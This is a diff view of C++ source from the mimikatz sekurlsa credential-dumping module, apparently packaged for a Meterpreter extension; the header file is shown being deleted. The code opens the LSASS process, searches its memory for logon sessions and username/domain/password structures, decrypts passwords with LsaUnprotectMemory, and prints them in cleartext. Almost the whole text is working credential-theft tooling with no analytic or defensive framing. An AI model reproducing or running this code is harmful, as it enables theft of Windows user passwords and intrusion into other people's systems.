if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID))
|
||||
{
|
||||
vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY> monVecteurModules;
|
||||
if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS))
|
||||
{
|
||||
for(vector<mod_process::KIWI_VERY_BASIC_MODULEENTRY>::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++)
|
||||
{
|
||||
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
|
||||
{
|
||||
if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry))
|
||||
{
|
||||
GLOB_ALL_Providers.push_back(pair<PFN_ENUM_BY_LUID, wstring>(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/));
|
||||
*testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
(*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl;
|
||||
CloseHandle(hLSASS);
|
||||
hLSASS = NULL;
|
||||
}
|
||||
} else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
|
||||
} else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
if(hLSASS)
|
||||
{
|
||||
MODULEINFO mesInfos;
|
||||
if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO)))
|
||||
{
|
||||
localLSASRV.modBaseAddr = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
|
||||
localLSASRV.modBaseSize = mesInfos.SizeOfImage;
|
||||
|
||||
if(!SeckPkgFunctionTable)
|
||||
{
|
||||
struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")};
|
||||
if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification)
|
||||
mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast<PBYTE>(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true);
|
||||
}
|
||||
|
||||
lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData();
|
||||
}
|
||||
}
|
||||
}
|
||||
return lsassOK;
|
||||
}
|
||||
|
||||
PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PLIST_ENTRY resultat = NULL;
|
||||
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
|
||||
PLIST_ENTRY pStruct = NULL;
|
||||
if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS))
|
||||
{
|
||||
while(pStruct != pSecurityStruct)
|
||||
{
|
||||
if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
|
||||
{
|
||||
resultat = pStruct;
|
||||
break;
|
||||
}
|
||||
} else break;
|
||||
pStruct = reinterpret_cast<PLIST_ENTRY>(monBuffer)->Flink;
|
||||
}
|
||||
}
|
||||
delete [] monBuffer;
|
||||
return resultat;
|
||||
}
|
||||
|
||||
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PVOID resultat = NULL;
|
||||
RTL_AVL_TABLE maTable;
|
||||
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
|
||||
return resultat;
|
||||
}
|
||||
|
||||
PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind)
|
||||
{
|
||||
PVOID resultat = NULL;
|
||||
RTL_AVL_TABLE maTable;
|
||||
if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS))
|
||||
{
|
||||
if(maTable.OrderedPointer)
|
||||
{
|
||||
BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)];
|
||||
if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS))
|
||||
{
|
||||
if(RtlEqualLuid(luidToFind, reinterpret_cast<PLUID>(reinterpret_cast<PBYTE>(monBuffer) + LUIDoffset)))
|
||||
resultat = maTable.OrderedPointer;
|
||||
}
|
||||
delete [] monBuffer;
|
||||
}
|
||||
|
||||
if(!resultat && maTable.BalancedRoot.LeftChild)
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind);
|
||||
if(!resultat && maTable.BalancedRoot.RightChild)
|
||||
resultat = getPtrFromAVLByLuidRec(reinterpret_cast<PRTL_AVL_TABLE>(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind);
|
||||
}
|
||||
return resultat;
|
||||
}
|
||||
|
||||
/* Escapes quotes for CSV format used by Meterpreter Extension */
|
||||
wstring escape(const wstring& s)
|
||||
{
|
||||
wstring res;
|
||||
wstring::const_iterator it = s.begin();
|
||||
while (it != s.end())
|
||||
{
|
||||
wchar_t c = *it++;
|
||||
if (c == L'"')
|
||||
{
|
||||
res += L'"';
|
||||
}
|
||||
res += c;
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
|
||||
{
|
||||
if(mesCreds)
|
||||
{
|
||||
if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
|
||||
{
|
||||
wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
|
||||
wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
|
||||
wstring password = escape(mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory));
|
||||
wstring rUserName = (isDomainFirst ? domainName : userName);
|
||||
wstring rDomainName = (isDomainFirst ? userName : domainName);
|
||||
|
||||
if(justSecurity)
|
||||
{
|
||||
if(!pos)
|
||||
(*outputStream) << password;
|
||||
else
|
||||
(*outputStream) <<
|
||||
L"[" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!pos)
|
||||
(*outputStream) << endl <<
|
||||
rUserName << L"," <<
|
||||
rDomainName << L"," <<
|
||||
password;
|
||||
else
|
||||
(*outputStream) << endl <<
|
||||
rUserName << L"," <<
|
||||
rDomainName << L"," <<
|
||||
password;
|
||||
}
|
||||
}
|
||||
} else (*outputStream) << L"";
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
|
||||
{
|
||||
PLUID sessions;
|
||||
ULONG count;
|
||||
|
||||
if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
|
||||
{
|
||||
for (ULONG i = 0; i < count ; i++)
|
||||
{
|
||||
PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
|
||||
if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
|
||||
{
|
||||
if(sessionData->LogonType != Network)
|
||||
{
|
||||
(*outputStream) << "\"" <<
|
||||
sessions[i].HighPart << L";" << sessions[i].LowPart << L"\",\"" <<
|
||||
mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << L"\",\"" <<
|
||||
mod_text::stringOfSTRING(sessionData->UserName) << L"\",\"" <<
|
||||
mod_text::stringOfSTRING(sessionData->LogonDomain) << L"\",\"";
|
||||
|
||||
for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
|
||||
{
|
||||
monProvider->first(&sessions[i], mesArguments->empty());
|
||||
(*outputStream) << L"\"" << endl;
|
||||
}
|
||||
}
|
||||
LsaFreeReturnBuffer(sessionData);
|
||||
}
|
||||
else (*outputStream) << L"Erreur : Impossible d\'obtenir les données de session" << endl;
|
||||
}
|
||||
LsaFreeReturnBuffer(sessions);
|
||||
}
|
||||
else (*outputStream) << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
|
||||
{
|
||||
bool resultat = false;
|
||||
BYTE * monBuffer = NULL;
|
||||
PBYTE * leBuffer = buffer ? buffer : &monBuffer;
|
||||
if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
|
||||
{
|
||||
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
|
||||
if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
|
||||
{
|
||||
if(dstChaine)
|
||||
dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
|
||||
}
|
||||
}
|
||||
if(monBuffer)
|
||||
delete[] monBuffer;
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
|
||||
{
|
||||
if(searchLSASSDatas())
|
||||
{
|
||||
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
|
||||
#elif defined _M_IX86
|
||||
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
|
||||
#endif
|
||||
ULONG maTaille = 0;
|
||||
NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
|
||||
|
||||
DWORD nbPossible = 0;
|
||||
for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mesInfos;
|
||||
if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
|
||||
{
|
||||
if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
|
||||
{
|
||||
UNICODE_STRING donnees[3];
|
||||
for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
|
||||
{
|
||||
if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
|
||||
{
|
||||
if(
|
||||
(donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
|
||||
(donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
|
||||
(donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
|
||||
)
|
||||
{
|
||||
wstring user, domain, password;
|
||||
BYTE * bPassword = NULL;
|
||||
if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
|
||||
{
|
||||
if(bPassword)
|
||||
{
|
||||
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
|
||||
password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
|
||||
}
|
||||
(*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
|
||||
}
|
||||
|
||||
if(bPassword)
|
||||
delete[] bPassword;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pMemoire += mesInfos.RegionSize;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"Données LSASS en erreur" << endl;
|
||||
return true;
|
||||
}
|
@ -1,64 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_text.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
#include "secpkg.h"
|
||||
|
||||
#include "LSA Keys/keys_nt5.h"
|
||||
#include "LSA Keys/keys_nt6.h"
|
||||
|
||||
#include "Security Packages/msv1_0.h"
|
||||
#include "Security Packages/tspkg.h"
|
||||
#include "Security Packages/wdigest.h"
|
||||
#include "Security Packages/kerberos.h"
|
||||
#include "Security Packages/livessp.h"
|
||||
#include "Security Packages/ssp.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa
|
||||
{
|
||||
public:
|
||||
typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity);
|
||||
private:
|
||||
typedef struct _KIWI_MODULE_PKG_LSA {
|
||||
wchar_t * moduleName;
|
||||
wchar_t * simpleName;
|
||||
PFN_ENUM_BY_LUID enumFunc;
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry;
|
||||
_KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {}
|
||||
} KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA;
|
||||
|
||||
static bool lsassOK;
|
||||
static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers;
|
||||
static vector<KIWI_MODULE_PKG_LSA> mesModules;
|
||||
|
||||
static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL);
|
||||
|
||||
static bool getLogonPasswords(vector<wstring> * arguments);
|
||||
static bool searchPasswords(vector<wstring> * arguments);
|
||||
public:
|
||||
static HANDLE hLSASS;
|
||||
static HMODULE hLsaSrv;
|
||||
static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV;
|
||||
static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable;
|
||||
|
||||
static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
|
||||
static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL);
|
||||
static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders);
|
||||
|
||||
static bool loadLsaSrv();
|
||||
static bool unloadLsaSrv();
|
||||
static bool searchLSASSDatas();
|
||||
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
};
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user